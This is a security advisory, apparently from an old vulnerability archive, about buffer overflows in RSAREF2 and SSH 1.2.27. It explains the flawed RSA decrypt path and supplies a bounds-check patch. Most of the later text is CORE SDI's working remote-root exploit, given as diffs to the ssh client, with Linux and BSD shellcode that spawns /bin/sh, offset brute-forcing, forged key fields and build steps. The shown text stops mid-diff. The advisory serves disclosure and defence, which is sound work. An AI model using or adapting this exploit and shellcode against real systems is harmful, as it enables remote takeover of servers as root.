COMMAND

    RSAREF2

SYSTEMS AFFECTED

    - SSH up to 1.2.27  compiled with RSAREF2 (RSAREF is  not compiled
      in by default but it's required in some cases in USA)
    - Possibly any other software packages that uses RSAREF2
    - OpenSSH if you're in US

PROBLEM

    Following  is  based  on   CORE  SDI  Security  Advisory.    While
    researching the exploitability of a  buffer overflow in SSH up  to
    version 1.2.27,  SDI discovered  a second  buffer overflow  in the
    implmementation  of  the  RSA  algorithm  in RSAREF2 from RSA Data
    Security.   This  advisory  addresses  the  details  of  the   bug
    discovered, the  details are  somewhat focused  on the  ability to
    exploit the bug in SSH  compiled with RSAREF2, but its  extensible
    to any software product that uses RSAREF2.

    RSAREF2 API exports 4 functions in rsa.c:

        int RSAPublicEncrypt()
        int RSAPrivateEncrypt()
        int RSAPublicDecrypt()
        int RSAPrivateDecrypt()

    The 4 functions define a local variable pkcsBlock of fixed length

        MAX_RSA_MODULUS_LEN (128 bytes)

    In order  to perform  the RSA  operations, the  functions call the
    internal functions RSAPrivateBlock() and RSAPublicBlock().

    RSAPrivateDecrypt() and RSAPublicDecrypt()  pass a pointer  to the
    local  variable  pkcsBlock  to  be  used  as the output buffer for
    RSAPublicBlock()  and  RSAPrivateBlock()  respectively.   The  two
    functions then perform the RSA operations and copy the results  to
    the output buffer using the NN_Encode() and NN_Decode() functions.
    Lack  of  strict  bounds  checking  and proper validation of input
    parameters in all these  functions allows an attacker  to overflow
    the pkcsBLock variable and overwrite the stack, making it possible
    to execute arbitrary commands on the vulnerable system.

    As an axample we will  describe the vulnerability focusing on  the
    decrypt operations performed in RSAREF2 based on the private  key.
    Such  operations  are  done  with the function RSAPrivateDecrypt()
    defined as follows in rsa.c:

        /* RSA private-key decryption, according to PKCS #1.
         */
        int RSAPrivateDecrypt (output, outputLen, input, inputLen, privateKey)
        unsigned char *output;                                      /* output
        block */
        unsigned int *outputLen;                          /* length of output
        block */
        unsigned char *input;                                        /* input
        block */
        unsigned int inputLen;                             /* length of input
        block */
        R_RSA_PRIVATE_KEY *privateKey;                           /* RSA private
        key */
        {
          int status;
          unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN];
          unsigned int i, modulusLen, pkcsBlockLen;

          modulusLen = (privateKey->bits + 7) / 8;
          if (inputLen > modulusLen)
            return (RE_LEN);

          if (status = RSAPrivateBlock
              (pkcsBlock, &pkcsBlockLen, input, inputLen, privateKey))
            return (status);

         ...


          return (0);
        }

    Note  that  inputLen  is  checked  against  a  transformation   of
    privateKey's bits  field, to  satisfy this  constrain an  attacker
    must alter this field in  privateKey, but this, almost by  miracle
    doesn't affect the final result.

    Notese que se hace una  verificacion sobre la longitud del  buffer
    de entrada, comparandola con una transformacion del campo bits  de
    la  clave  privada  (privateKey),  para  que  esta  validacion sea
    satisfecha es  necesario cambiar  este campo  en privateKey,  pero
    esto, casi milagrosamente no afecta al resultado de la encripcion.

    As we can see, RSAPrivateDecrypt() calls RSAPrivateBlock() passing
    pkcsBlock as the  output buffer, no  length checking is  performed
    to ensure  that pkcsBlock  will not  be overrun. RSAPrivateBLock()
    performs the RSA private key operations ans is define as follows:

        /* Raw RSA private-key operation. Output has same length as modulus.

           Assumes inputLen < length of modulus.
           Requires input < modulus.
         */
        static int RSAPrivateBlock (output, outputLen, input, inputLen,
        privateKey)
        unsigned char *output;                                      /* output
        block */
        unsigned int *outputLen;                          /* length of output
        block */
        unsigned char *input;                                        /* input
        block */
        unsigned int inputLen;                             /* length of input
        block */
        R_RSA_PRIVATE_KEY *privateKey;                           /* RSA private
        key */
        {
          NN_DIGIT c[MAX_NN_DIGITS], cP[MAX_NN_DIGITS], cQ[MAX_NN_DIGITS],
            dP[MAX_NN_DIGITS], dQ[MAX_NN_DIGITS], mP[MAX_NN_DIGITS],
            mQ[MAX_NN_DIGITS], n[MAX_NN_DIGITS], p[MAX_NN_DIGITS],
        q[MAX_NN_DIGITS],
            qInv[MAX_NN_DIGITS], t[MAX_NN_DIGITS];
          unsigned int cDigits, nDigits, pDigits;

          NN_Decode (c, MAX_NN_DIGITS, input, inputLen);
        ...
          cDigits = NN_Digits (c, MAX_NN_DIGITS);
          nDigits = NN_Digits (n, MAX_NN_DIGITS);
          pDigits = NN_Digits (p, MAX_NN_DIGITS);

          /* Compute mP = cP^dP mod p  and  mQ = cQ^dQ mod q. (Assumes q has
             length at most pDigits, i.e., p > q.)
           */

        ...
          /* Chinese Remainder Theorem:
               m = ((((mP - mQ) mod p) * qInv) mod p) * q + mQ.
           */
          if (NN_Cmp (mP, mQ, pDigits) >= 0)
            NN_Sub (t, mP, mQ, pDigits);
          else {
            NN_Sub (t, mQ, mP, pDigits);
            NN_Sub (t, p, t, pDigits);
          }
          NN_ModMult (t, t, qInv, p, pDigits);
          NN_Mult (t, t, q, pDigits);
          NN_Add (t, t, mQ, nDigits);

          *outputLen = (privateKey->bits + 7) / 8;
          NN_Encode (output, *outputLen, t, nDigits);

        ...

          return (0);
        }

    RSAPrivateBlock() calls NN_Encode() to encode and copy the results
    into the  output buffer  (a pointer  to the  pkcsBlock variable in
    RSAPublicDecrypt() function), the length  of the output buffer  is
    calculated based  on the  bits field  of the  pivateKey structure,
    passed originally  to RSAPublicDecrypt()  and does  not take  into
    account the  fixed length  characteristics of  the output  buffer.
    The NN_Encode() function is defined as follows:

        /* Encodes b into character string a, where character string is ordered
           from most to least significant.

           Lengths: a[len], b[digits].
           Assumes NN_Bits (b, digits) <= 8 * len. (Otherwise most significant
           digits are truncated.)
         */
        void NN_Encode (a, len, b, digits)
        NN_DIGIT *b;
        unsigned char *a;
        unsigned int digits, len;
        {
          NN_DIGIT t;
          int j;
          unsigned int i, u;

          for (i = 0, j = len - 1; i < digits && j >= 0; i++) {
            t = b[i];
            for (u = 0; j >= 0 && u < NN_DIGIT_BITS; j--, u += 8)
              a[j] = (unsigned char)(t >> u);
          }

          for (; j >= 0; j--)
            a[j] = 0;
        }

    NN_Encode()  encodes  and  copies  to  'a'  (the  output   buffer,
    pkcsBLock) 'digits' bytes of 'b'  (the results of the RSA  private
    key operation) from the end  to the start of the  buffer, starting
    at position 'len',  the modulus length  of the private  key passed
    to RSAPrivateDecrypt().   Providing a  suitable modulus  length to
    RSAPrivateDecrypt() it  is possible  to force  NN_Encode() to copy
    data  beyond  the  bounds  of  pkcsBLock  and overwrite the return
    address of RSAPRivateDecrypt(),  gaining control of  the processor
    and  being  able  to  execute   code  located  elsewhere  in   the
    vulnerable program.

    The exploitability of this bug in  SSH comes from the fact that  a
    bug in  SSH itself  discussed and  published in  the vuln-dev  and
    bugtraq  mailing  lists,  allows  a  remote  client  to  provide a
    suitable private key  to the RSAREF  functions.  The  same problem
    is   present   in   the   RSAPublicDecrypt()   function,  and  its
    exploitability  might  be  even  easier,  since its much easier to
    provide  a  malicious  public  key  to  any  software package that
    supports RSA and uses the RSAREF2 implementation.

    It is  possible to  execute arbitrary  commands as  the user  that
    runs  the  RSAREF2  code.   For  SSH  up  to  1.2.27 compiled with
    RSAREF2 this  implies the  remote execution  of arbitrary commands
    as root.   Attackers can  obtain a  shell on  the machine  running
    sshd.   The   exploit  uses  buffer   overflows  in  the   RSAREF2
    implementation AND in  the rsaglue.c file  in ssh-1.2.27.   On the
    other  hand,  OpenSSH  is  not  vulnerable to this remote exploit.
    Since  rsaglue.c  was  rewritten,  OpenSSH does stricter parameter
    checking than ssh-1.2.27 and  these recent problems in  ssh-1.2.27
    did NOT  affect OpenSSH.   Nonetheless, OpenSSH  users in  the USA
    that use  OpenSSL compiled  with RSAREF2  should update  their ssl
    library (since isakmpd or httpd  may be affected).  Another  thing
    is worth mentioning, RSA could use the buffer overflow in  RSAREF2
    to  scan  machines  in  the  USA  for  RSA license violation.  For
    example, sshds that do not use RSAREF2 do will behave  differently
    than those that do.

    Ok, here is  the exploit for  SSH-1.2.27 compiled with  RSAREF2 by
    Core SDI.   It was  tested against  sshd running  on Linux (Redhat
    6.0) and OpenBSD 2.6,  from a Linux Redhat  6.0 box.  Since  its a
    modified ssh client, they just sent the diffs against an unpatched
    ssh-1.2.27 distribution (see  below).  As  noted before there  are
    TWO buffer overflows.   The first is  in the SSH  distributed file
    rsaglue.c the  second is  in the  rsa.c file  that is  part of the
    RSAREF2  distribution.   Lets  look  at  the  buffer  overflow  in
    RSAPrivateDecrypt in rsa.c from rsaref2/sources:

    /*
     * RSA private-key decryption, according to PKCS #1.
     */
    int RSAPrivateDecrypt (output, outputLen, input, inputLen, privateKey)
    unsigned char *output;                                      /* output
    block */
    unsigned int *outputLen;                          /* length of output
    block */
    unsigned char *input;                                        /* input
    block */
    unsigned int inputLen;                             /* length of input
    block */
    R_RSA_PRIVATE_KEY *privateKey;                           /* RSA private
    key */
    {
      int status;
      unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN];
      unsigned int i, modulusLen, pkcsBlockLen;

      modulusLen = (privateKey->bits + 7) / 8;
      if (inputLen > modulusLen)
        return (RE_LEN);
    .if (status = RSAPrivateBlock
          (pkcsBlock, &pkcsBlockLen, input, inputLen, privateKey))
    ...

    There  is  a  straight  forward  buffer  overflow  of pkcsBlock in
    RSAPrivateBlock, however, in order to  exploit it we need to  pass
    the (inputLen > modulusLen) check.   Since input is the length  of
    the evil packet sent by  the client containing the shell  code and
    of  course  enough  data  to  exploit  the overflow, its length is
    greater than the modulusLen of a standard RSA key, thus the  check
    fails.  We need  then to provide our  own privateKey with a  large
    enough modulusLen  (privateKey->bits)   To do  so, we  exploit the
    buffer overflow in rsaglue.c:

    * Performs a private key decrypt operation. */

    void rsa_private_decrypt(MP_INT *output, MP_INT *input, RSAPrivateKey
    *key)
    {
      unsigned char input_data[MAX_RSA_MODULUS_LEN];
      unsigned char output_data[MAX_RSA_MODULUS_LEN];
      unsigned int input_len, output_len, input_bits;
      R_RSA_PRIVATE_KEY private_key;

      if (key->bits > MAX_RSA_MODULUS_BITS)
        fatal("RSA key has too many bits for RSAREF to handle (max %d).",
              MAX_RSA_MODULUS_BITS);

      input_bits = mpz_sizeinbase(input, 2);
      input_len = (input_bits + 7) / 8;
      gmp_to_rsaref(input_data, input_len, input);

      rsaref_private_key(&private_key, key);

      if (RSAPrivateDecrypt(output_data, &output_len, input_data, input_len,

                            &private_key) != 0)
        fatal("RSAPrivateDecrypt failed");

    ....

    The overflow here is in  gmp_to_rsaref(), we use it to  modify the
    *key  variable  (an  argument  present  in  the  stack  on   intel
    architectures, this  is important  since it  wont be  the same  in
    other architectures, i.e.  sparc) to point  to a private  key that
    we send.  rsaref_private_key() copies that key to private_key  and
    then  calls  RSAPrivateDecrypt  with  our  bogus  key,  the second
    overflow (rsaref2's) is then  exploited.  There are  several other
    constraints  (check  rsa.c:RSAPrivateBlock()  and nn.c:NN_Encode()
    in rsaref2/sources if  you are really  interested) that forced  us
    to send  a bogus  private key  in a  different packet, this packet
    gets stored  in a  global buffer  that sshd  uses to  receive data
    from the network.   The overall result  is that  RSAPrivateBlock()
    called  from  RSAPrivateDecrypt()  returns  to  the portion of the
    global buffer that sshd uses  to store our packet, the  shell code
    is stored there.

    The bogus privateKey we send is generated with ssh-keygen, then at
    runtime, its loaded and  several values are modified  (once again,
    for the  really interested  check that  we set  among other things
    myfakeKey.bits to  1182 and  myfakeKey.d to  1).   The exploit  is
    more or less "script-kid-proof" since  if it doesnt work a  bit of
    debugging, coding and  probably crypto skills  are needed to  make
    it work.

    CORE SDI  didn't include  exploit_key.   That's right,  not a  big
    issue, just  create a  public/private key  pairs using  ssh_keygen
    and rename the  private key to  exploit_key.  Put  the key in  the
    current directory  you are  running the  exploit, and  remember to
    set  the  correct  file  permisions  (and  owner).   Also, there's
    another thing  you have  to make  to compile  the exploit.   After
    running configure, edit the Makefile and add -DSSH_EXPLOIT to  the
    CFLAGS.

SOLUTION

    RSA Security  was contacted  and replied  that they  don't support
    RSAREF2 anymore.   For futher  details you  may contact  John Linn
    (jlinn@rsasecurity.com).  A patch  is provided below, please  read
    carefully  the  file  license.txt  from  the  RSAREF2 distribution
    before applying it.  Copy remaining of this advisory to a file
    named rsaref.patch in rsaref2/source, and apply with

        patch < rsaref.patch

        *** rsa.original.c Fri Mar 26 14:01:48 1994
        --- rsa.c Fri Dec 10 12:56:34 1999
        ***************
        *** 33,38 ****
        --- 33,41 ----
            unsigned char byte, pkcsBlock[MAX_RSA_MODULUS_LEN];
            unsigned int i, modulusLen;

        +   if (publicKey->bits > MAX_RSA_MODULUS_BITS)
        +     return (RE_LEN);
        +
            modulusLen = (publicKey->bits + 7) / 8;
            if (inputLen + 11 > modulusLen)
              return (RE_LEN);
        ***************
        *** 78,83 ****
        --- 81,89 ----
            unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN];
            unsigned int i, modulusLen, pkcsBlockLen;

        +   if (publicKey->bits > MAX_RSA_MODULUS_BITS)
        +     return (RE_LEN);
        +
            modulusLen = (publicKey->bits + 7) / 8;
            if (inputLen > modulusLen)
              return (RE_LEN);
        ***************
        *** 128,133 ****
        --- 134,142 ----
            int status;
            unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN];
            unsigned int i, modulusLen;
        +
        +   if (privateKey->bits > MAX_RSA_MODULUS_BITS)
        +     return (RE_LEN);

            modulusLen = (privateKey->bits + 7) / 8;
            if (inputLen + 11 > modulusLen)
        ***************
        *** 168,173 ****
        --- 177,185 ----
            unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN];
            unsigned int i, modulusLen, pkcsBlockLen;

        +   if (privateKey->bits > MAX_RSA_MODULUS_BITS)
        +     return (RE_LEN);
        +
            modulusLen = (privateKey->bits + 7) / 8;
            if (inputLen > modulusLen)
              return (RE_LEN);

    Here are diffs by CORE SDI:

    diff -N -c ssh-1.2.27/README.coresdi ssh-1.2.27-exploit/README.coresdi
    *** ssh-1.2.27/README.coresdi	Wed Dec 31 21:00:00 1969
    --- ssh-1.2.27-exploit/README.coresdi	Tue Dec 14 19:21:10 1999
    ***************
    *** 0 ****
    --- 1,32 ----
    + /*
    +  *
    +  * Descrition: Exploit code for SSH-1.2.27 sshd with rsaref2 compiled in
    +  * (--with-rsaref)
    +  *
    +  * Author: Alberto Solino <Alberto_Solino@core-sdi.com>
    +  *
    +  * Copyright (c) 1999 CORE SDI S.A., Buenos Aires, Argentina.
    +  * All rights reserved.
    +  *
    +  *
    +  * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES
    +  * ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE LIABLE FOR ANY DIRECT,
    +  * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES RESULTING
    +  * FROM THE USE OR MISUSE OF THIS SOFTWARE.
    +  *
    +  */
    +
    + Tested on
    +   SSH-1.2.27 Linux RedHat 6.0
    +   SSh-1.2.27 OpenBSD 2.6
    +
    + Details
    +   Relies on offsets taken from JUMP_TO_MY_KEY that are different on
    +   different boxes.
    +   If it doesnt work, check inside incoming.buf for the string "BETO"
    +   and find the proper offsets from there.
    +   Additionally, the -f nad -t options are available, to  provide
    +   a range of addresses and try to brute force remotely the right
    +   one.
    +   Specify the target os type with -o
    +
    Binary files ssh-1.2.27/exploit_key and ssh-1.2.27-exploit/exploit_key differ
    diff -N -c ssh-1.2.27/exploit_key.pub ssh-1.2.27-exploit/exploit_key.pub
    *** ssh-1.2.27/exploit_key.pub	Wed Dec 31 21:00:00 1969
    --- ssh-1.2.27-exploit/exploit_key.pub	Tue Nov 30 01:14:10 1999
    ***************
    *** 0 ****
    --- 1 ----
    + 1024 35 12671179095903471744990435410317410546442390575091173840031540790075294607198877353267235692230668768519142460680695294766086791176069794251459495621399058485699167839835302669268143013627485340282918380338379136159878818712027630563083736678750
    7026341329913385926890796258293060370046555624537870005279144741 root@jack
    Common subdirectories: ssh-1.2.27/gmp-2.0.2-ssh-2 and ssh-1.2.27-exploit/gmp-2.0.2-ssh-2
    diff -N -c ssh-1.2.27/history ssh-1.2.27-exploit/history
    *** ssh-1.2.27/history	Wed Dec 31 21:00:00 1969
    --- ssh-1.2.27-exploit/history	Tue Nov 16 21:41:36 1999
    ***************
    *** 0 ****
    --- 1,7 ----
    + Tue Nov 16 19:58:04 ART 1999
    + En RSAPrivateBlock, no calcula la longitud de salida del buffer, simplemente copia
    + el tamanio del modulo que esta en privatekey, pero la longitud de los numeros
    + nunca es mayor que 128.
    + Tue Nov 16 21:41:15 ART 1999
    + overflow en RSAPrivateDecrypt????!?!?!??!?!?! who knows!! fijarse...
    +
    Common subdirectories: ssh-1.2.27/rsaref2 and ssh-1.2.27-exploit/rsaref2
    diff -N -c ssh-1.2.27/ssh.c ssh-1.2.27-exploit/ssh.c
    *** ssh-1.2.27/ssh.c	Wed May 12 08:19:28 1999
    --- ssh-1.2.27-exploit/ssh.c	Tue Dec 14 19:03:59 1999
    ***************
    *** 202,208 ****
      #include "readconf.h"
      #include "userfile.h"
      #include "emulate.h"
    -
      #ifdef LIBWRAP
      #include <tcpd.h>
      #include <syslog.h>
    --- 202,207 ----
    ***************
    *** 212,217 ****
    --- 211,249 ----
      int allow_severity = LOG_INFO;
      int deny_severity = LOG_WARNING;
      #endif /* LIBWRAP */
    + #ifdef SSH_EXPLOIT
    + #define BETO_STR 0x80850f8
    + unsigned long exp_offset=BETO_STR;
    + unsigned long exp_offset_to=BETO_STR;
    + unsigned char *shell_code;
    + unsigned long shell_code_len=0;
    + unsigned char linux_shell_code[]=
    + {0x90    ,0x90    ,0x90    ,0x90    ,0x90    ,0x90    ,0x90    ,0x90
    + ,0xeb    ,0x44    ,0x5e    ,0x89    ,0x76
    + ,0x08    ,0x31    ,0xc0    ,0x88    ,0x46    ,0x07    ,0x89    ,0x46
    + ,0x0c    ,0x56    ,0xb9    ,0x00    ,0x00    ,0x00    ,0x00    ,0xbb
    + ,0x05    ,0x00    ,0x00    ,0x00    ,0xb0    ,0x3f    ,0xcd    ,0x80
    + ,0xb9    ,0x01    ,0x00    ,0x00    ,0x00    ,0xbb    ,0x05    ,0x00
    + ,0x00    ,0x00    ,0xb0    ,0x3f    ,0xcd    ,0x80    ,0xb9    ,0x02
    + ,0x00    ,0x00    ,0x00    ,0xbb    ,0x05    ,0x00    ,0x00    ,0x00
    + ,0xb0    ,0x3f    ,0xcd    ,0x80    ,0x5e    ,0xb0    ,0x0b    ,0x89
    + ,0xf3    ,0x8d    ,0x4e    ,0x08    ,0x8d    ,0x56    ,0x0c    ,0xcd
    + ,0x80    ,0xe8    ,0xb7    ,0xff    ,0xff    ,0xff    ,0x2f    ,0x62
    + ,0x69    ,0x6e    ,0x2f    ,0x73    ,0x68    ,0x00};
    + unsigned char bsd_shell_code[]=
    + {0x90,    0x90,    0x90,    0x90,    0x90,    0x90,    0x90,
    +  0xeb,    0x45,    0x5e,    0x89,    0x76,    0x08,    0x31,    0xc0,
    +  0x88,    0x46,    0x07,    0x89,    0x46,    0x0c,    0x6a,    0x00,
    +  0x6a,    0x05,    0x51,    0xb8,    0x5a,    0x00,    0x00,    0x00,
    +  0xcd,    0x80,    0x6a,    0x01,    0x6a,    0x05,    0x51,    0xb8,
    +  0x5a,    0x00,    0x00,    0x00,    0xcd,    0x80,    0x6a,    0x02,
    +  0x6a,    0x05,    0x51,    0xb8,    0x5a,    0x00,    0x00,    0x00,
    +  0xcd,    0x80,    0x6a,    0x00,    0x8d,    0x46,    0x08,    0x50,
    +  0x8b,    0x46,    0x08,    0x50,    0xb8,    0x3b,    0x00,    0x00,
    +  0x00,    0x31,    0xc9,    0x41,    0x51,    0xcd,    0x80,    0xe8,
    +  0xb6,    0xff,    0xff,    0xff,    0x2f,    0x62,    0x69,    0x6e,
    +  0x2f,    0x73,    0x68,	0x00};
    + #endif

      /* Random number generator state.  This is initialized in ssh_login, and
         left initialized.  This is used both by the packet module and by various
    ***************
    *** 275,280 ****
    --- 307,322 ----
      /* Prints a help message to the user.  This function never returns. */
      void usage(void)
      {
    + #ifdef SSH_EXPLOIT
    + 	fprintf(stderr, "ssh/rsaref2 exploit by Core SDI SA (c) 1999\n");
    + 	fprintf(stderr, "Usage:\n\t%s [-f offset_from] [-t offset_to] -o ostype host\n",av0);
    + 	fprintf(stderr, "where:\n");
    + 	fprintf(stderr, "\toffset_from:       start offset for brute force\n");
    + 	fprintf(stderr, "\toffset_to:         end offset for brute force\n");
    + 	fprintf(stderr, "\tostype:            remote machine ostype\n");
    + 	fprintf(stderr, "                     BSD   : for (*BSD)\n");
    + 	fprintf(stderr, "                     Linux : for Intel Linuxes\n\n");
    + #else
        fprintf(stderr, "Usage: %s [options] host [command]\n", av0);
        fprintf(stderr, "Options:\n");
        fprintf(stderr, "  -l user     Log in using this user name.\n");
    ***************
    *** 321,326 ****
    --- 363,369 ----
        fprintf(stderr, "  -C          Enable compression.\n");
        fprintf(stderr, "  -g          Allow remote hosts to connect to local port forwardings\n");
        fprintf(stderr, "  -o 'option' Process the option as if it was read from a configuration file.\n");
    + #endif
        exit(1);
      }

    ***************
    *** 504,510 ****
    --- 547,557 ----
            opt = av[optind][1];
            if (!opt)
              usage();
    + #ifdef SSH_EXPLOIT
    +       if (strchr("fto", opt)) /* options with arguments */
    + #else
            if (strchr("eilcpLRo", opt)) /* options with arguments */
    + #endif
              {
                optarg = av[optind] + 2;
                if (strcmp(optarg, "") == 0)
    ***************
    *** 522,527 ****
    --- 569,594 ----
              }
            switch (opt)
              {
    + #ifdef SSH_EXPLOIT
    + 				case 'f':
    + 					exp_offset = strtoul(optarg,NULL,16);
    + 					break;
    + 				case 't':
    + 					exp_offset_to = strtoul(optarg,NULL,16);
    + 					break;
    + 				case 'o':
    + 					if ( !strcmp(optarg,"BSD") ) {
    + 						shell_code = bsd_shell_code;
    + 						shell_code_len = sizeof(bsd_shell_code);
    + 					}
    + 					else if ( !strcmp(optarg,"Linux") ) {
    + 						shell_code = linux_shell_code;
    + 						shell_code_len = sizeof(linux_shell_code);
    + 					}
    + 					else
    + 						usage();
    + 					break;
    + #else
              case 'n':
                stdin_null_flag = 1;
                break;
    ***************
    *** 681,692 ****
              case 'g':
                options.gateway_ports = 1;
                break;
    !
              default:
                usage();
              }
          }
    !
       /* Check that we got a host name. */
        if (!host)
          usage();
    --- 748,766 ----
              case 'g':
                options.gateway_ports = 1;
                break;
    ! #endif
              default:
                usage();
              }
          }
    ! #ifdef SSH_EXPLOIT
    ! 	if ( shell_code == NULL )
    ! 		usage();
    ! 	if ( exp_offset_to < exp_offset ) {
    ! 		fprintf(stderr,"Invalid offsets!\n");
    ! 		usage();
    ! 	}
    ! #endif
       /* Check that we got a host name. */
        if (!host)
          usage();
    ***************
    *** 793,798 ****
    --- 867,876 ----
           rhosts_authentication is true.  Note that the random_state is not
           yet used by this call, although a pointer to it is stored, and thus it
           need not be initialized. */
    + #ifdef SSH_EXPLOIT
    + 	do
    + 	{
    + #endif
        ok = ssh_connect(host, options.port, options.connection_attempts,
                         !use_privileged_port,
                         original_real_uid, options.proxy_command, &random_state);
    ***************
    *** 846,857 ****
                                                        original_real_uid);
        options.user_hostfile = tilde_expand_filename(options.user_hostfile,
                                                      original_real_uid);
    !
        /* Log into the remote system.  This never returns if the login fails.
           Note: this initializes the random state, and leaves it initialized. */
        ssh_login(&random_state, host_private_key_loaded, &host_private_key,
                  host, &options, original_real_uid);
    !
        /* We no longer need the host private key.  Clear it now. */
        if (host_private_key_loaded)
          rsa_clear_private_key(&host_private_key);
    --- 924,941 ----
                                                        original_real_uid);
        options.user_hostfile = tilde_expand_filename(options.user_hostfile,
                                                      original_real_uid);
    ! #ifdef SSH_EXPLOIT
    !   fprintf(stdout,"Tryin'... 0x%x\n",exp_offset);
    ! #endif
        /* Log into the remote system.  This never returns if the login fails.
           Note: this initializes the random state, and leaves it initialized. */
        ssh_login(&random_state, host_private_key_loaded, &host_private_key,
                  host, &options, original_real_uid);
    ! #ifdef SSH_EXPLOIT
    ! 	exp_offset++;
    ! 	} while (exp_offset<=exp_offset_to);
    ! 	fprintf(stderr,"Didn't work ;( \n");
    ! #endif
        /* We no longer need the host private key.  Clear it now. */
        if (host_private_key_loaded)
          rsa_clear_private_key(&host_private_key);
    diff -N -c ssh-1.2.27/sshconnect.c ssh-1.2.27-exploit/sshconnect.c
    *** ssh-1.2.27/sshconnect.c	Wed May 12 08:19:29 1999
    --- ssh-1.2.27-exploit/sshconnect.c	Thu Dec  9 17:09:39 1999
    ***************
    *** 214,220 ****
      #include "mpaux.h"
      #include "userfile.h"
      #include "emulate.h"
    -
      #ifdef KERBEROS
      #ifdef KRB5
      #include <krb5.h>
    --- 214,219 ----
    ***************
    *** 1271,1276 ****
    --- 1270,1280 ----
                     const char *orighost,
                     Options *options, uid_t original_real_uid)
      {
    + #ifdef SSH_EXPLOIT
    + extern unsigned long exp_offset;
    + extern unsigned char *shell_code;
    + extern unsigned long shell_code_len;
    + #endif
        int i, type, len, f;
        char buf[1024], seedbuf[16];
        char *password;
    ***************
    *** 1278,1283 ****
    --- 1282,1298 ----
        MP_INT key;
        RSAPublicKey host_key;
        RSAPublicKey public_key;
    + #ifdef SSH_EXPLOIT
    +   MP_INT fakekey;
    +   int retval;
    +   unsigned char first;
    +   struct sockaddr_in sin;
    +   int sin_len=sizeof(struct sockaddr_in);
    +   RSAPrivateKey myfakeKey;
    +   RSAPrivateKey myPrivateKey;
    +   char private_key_filename[]="exploit_key";
    +   fd_set rfds;
    + #endif
        unsigned char session_key[SSH_SESSION_KEY_LENGTH];
        const char *server_user, *local_user;
        char *cp, *host;
    ***************
    *** 1501,1506 ****
    --- 1516,1522 ----
        /* Generate an encryption key for the session.   The key is a 256 bit
           random number, interpreted as a 32-byte key, with the least significant
           8 bits being the first byte of the key. */
    +
        for (i = 0; i < SSH_SESSION_KEY_LENGTH; i++)
          session_key[i] = random_get_byte(state);

    ***************
    *** 1519,1532 ****
            else
              mpz_add_ui(&key, &key, session_key[i]);
          }
    !
        /* Encrypt the integer using the public key and host key of the server
           (key with smaller modulus first). */
        if (mpz_cmp(&public_key.n, &host_key.n) < 0)
          {
            /* Public key has smaller modulus. */
            assert(host_key.bits >= public_key.bits + SSH_KEY_BITS_RESERVED);
    -
            rsa_public_encrypt(&key, &key, &public_key, state);
            rsa_public_encrypt(&key, &key, &host_key, state);
          }
    --- 1535,1552 ----
            else
              mpz_add_ui(&key, &key, session_key[i]);
          }
    ! #ifdef SSH_EXPLOIT
    ! 	if ( load_private_key(getuid(),private_key_filename,"",&myPrivateKey,NULL)==0) {
    ! 		fprintf(stderr,"Cannot locate private key %s\n",private_key_filename);
    ! 		exit(1);
    !   }
    ! #endif
        /* Encrypt the integer using the public key and host key of the server
           (key with smaller modulus first). */
        if (mpz_cmp(&public_key.n, &host_key.n) < 0)
          {
            /* Public key has smaller modulus. */
            assert(host_key.bits >= public_key.bits + SSH_KEY_BITS_RESERVED);
            rsa_public_encrypt(&key, &key, &public_key, state);
            rsa_public_encrypt(&key, &key, &host_key, state);
          }
    ***************
    *** 1534,1540 ****
          {
            /* Host key has smaller modulus (or they are equal). */
            assert(public_key.bits >= host_key.bits + SSH_KEY_BITS_RESERVED);
    -
            rsa_public_encrypt(&key, &key, &host_key, state);
            rsa_public_encrypt(&key, &key, &public_key, state);
          }
    --- 1554,1559 ----
    ***************
    *** 1564,1569 ****
    --- 1583,1637 ----
        for (i = 0; i < 8; i++)
          packet_put_char(check_bytes[i]);

    + #ifdef SSH_EXPLOIT
    + 	for ( i = 0 ; i < 16; i++ ) {
    + 		mpz_mul_2exp(&key, &key, 8);
    + 		mpz_add_ui(&key, &key, i+1);
    + 	}
    + 	/* Aca seto el lugar donde va a estar la clave nueva cambiada*/
    + 	for ( i = 0; i < 4 ; i++ ) {
    + 		mpz_mul_2exp(&key,&key,8);
    + 		mpz_add_ui(&key,&key, ((exp_offset+9) >> (i*8) & 0xff));
    + 	}
    +
    + 	/* Con esto fuerzo a que el ciphertext sea mas chico que el modulo*/
    + 	key._mp_d[31]=0;
    + 	key._mp_d[32]=0;
    + 	key._mp_d[3]=htonl(exp_offset+0x5b);
    + 	/* Ret address a mi codigo */
    + 	//key._mp_d[3]=0x51510808; // JUMP_TO_MY_KEY+87 dado vuelta
    + 	/*
    + 	No se porque mierda ahora hay que invertilo...
    + 	key._mp_d[3]=JUMP_TO_MY_KEY+80;
    + 	*/
    +
    + 	myfakeKey.bits = 1182; /* Tamanio de la clave */
    + 	myfakeKey.n._mp_alloc = 33;
    + 	myfakeKey.n._mp_size = 32;
    + 	myfakeKey.n._mp_d = (unsigned long int *)(exp_offset+184);
    +
    + 	myfakeKey.e._mp_alloc = 1;
    + 	myfakeKey.e._mp_size = 1;
    + 	myfakeKey.e._mp_d = (unsigned long int *)(exp_offset+316);
    +
    + 	myfakeKey.d._mp_alloc = 1;
    + 	myfakeKey.d._mp_size = 1;
    + 	myfakeKey.d._mp_d = (unsigned long int *)(exp_offset+25);
    +
    + 	myfakeKey.u._mp_alloc = 17;
    + 	myfakeKey.u._mp_size = 16;
    + 	myfakeKey.u._mp_d = (unsigned long int *)(exp_offset+460);
    +
    + 	myfakeKey.p._mp_alloc = 17;
    + 	myfakeKey.p._mp_size = 16;
    + 	myfakeKey.p._mp_d = (unsigned long int *)(exp_offset+392);
    +
    + 	myfakeKey.q._mp_alloc = 17;
    + 	myfakeKey.q._mp_size = 16;
    + 	myfakeKey.q._mp_d = (unsigned long int *)(exp_offset+324);
    +
    + #endif
    +
        /* Send the encrypted encryption key. */
        packet_put_mp_int(&key);

    ***************
    *** 1571,1579 ****
    --- 1639,1686 ----
        packet_put_int(SSH_PROTOFLAG_SCREEN_NUMBER | SSH_PROTOFLAG_HOST_IN_FWD_OPEN);

        /* Send the packet now. */
